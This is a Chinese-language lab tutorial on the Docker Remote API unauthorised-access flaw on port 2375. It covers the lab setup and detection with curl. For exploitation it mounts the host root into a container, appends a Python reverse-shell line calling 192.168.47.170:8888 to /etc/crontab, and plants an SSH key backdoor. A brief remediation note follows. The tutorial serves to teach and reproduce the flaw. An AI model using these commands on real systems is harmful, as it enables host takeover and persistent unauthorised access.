Docker Remote API 未授权访问
免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!
介绍
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器逃逸,最终完全控制宿主服务器。
Docker daemon 是 Docker 引擎的后台进程,也称为 Dockerd。它是一个长时间运行的进程,负责管理 Docker 镜像、容器、网络和存储等各种资源,并提供一个 API 以供 Docker 客户端进行交互。
当您在 Docker 主机上使用 Docker 命令时(例如 docker run
),Docker 客户端将向 Docker daemon 发送命令请求,并通过 Docker API 进行通信。Docker daemon 接收并解析这些请求,并在其内部管理对象存储中创建、修改或删除相应的 Docker 资源。随后,Docker daemon 将响应结果发送回客户端,然后等待下一个命令请求。
另外,Docker daemon 也负责监视 Docker 主机上正在运行的容器和服务,以及处理与 Docker 网络和存储相关的操作。它还可以与其他 Docker daemon 进行通信,以实现跨主机的镜像和容器管理。
总之,Docker daemon 是整个 Docker 引擎的核心组件,负责实现 Docker 的各种功能,并将其暴露给用户和其他程序使用。
例如
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
-
-H=0.0.0.0:2375
:指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上,即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Docker daemon 监听的端口号。 -
-H unix:///var/run/docker.sock
:指定 Docker daemon 监听的 Unix 域套接字路径,即 /var/run/docker.sock。
运行这个命令,Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护。
环境搭建
在开启docker服务的时候,用以下命令启动即可造成docker remote api未授权访问漏洞,
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
执行后出现上面错误是由于当前环境docker已经在运行中了,需要先停止docker
systemctl stop docker
在执行上面的命令
dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
通过攻击机查看靶机安装的镜像
docker -H tcp://192.168.47.195:2375 images
漏洞检测
访问http请求curl 192.168.47.195:2375/info
如果返回内容含有DockerRootDir
等字符,则证明存在docker未授权访问漏洞。
漏洞利用
将系统根目录的文件挂在到/mnt目录,此时修改/mnt/etc/crontab相当于修改/etc/crontab文件,
docker -H tcp://192.1:2375 run -it -v /:/mnt 镜像id /bin/bash
写定时任务
echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.47.170\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
建立连接
也可以写公钥
创建.ssh目录
mkdir /mnt/root/.ssh
写ssh公钥后门
echo -e "ssh-xxxx\n" >> /mnt/root/.ssh/authorized_keys
漏洞修复
使用ACL开启访问控制或者按照官方配置 Remote API 的认证措施https://docs.docker.com/engine/security/https/
参考
docker remote API 漏洞复现 - FreeBuf网络安全行业门户
[Shell]Docker remote api未授权访问漏洞(Port=2375) - 肖洋肖恩、 - 博客园 (cnblogs.com)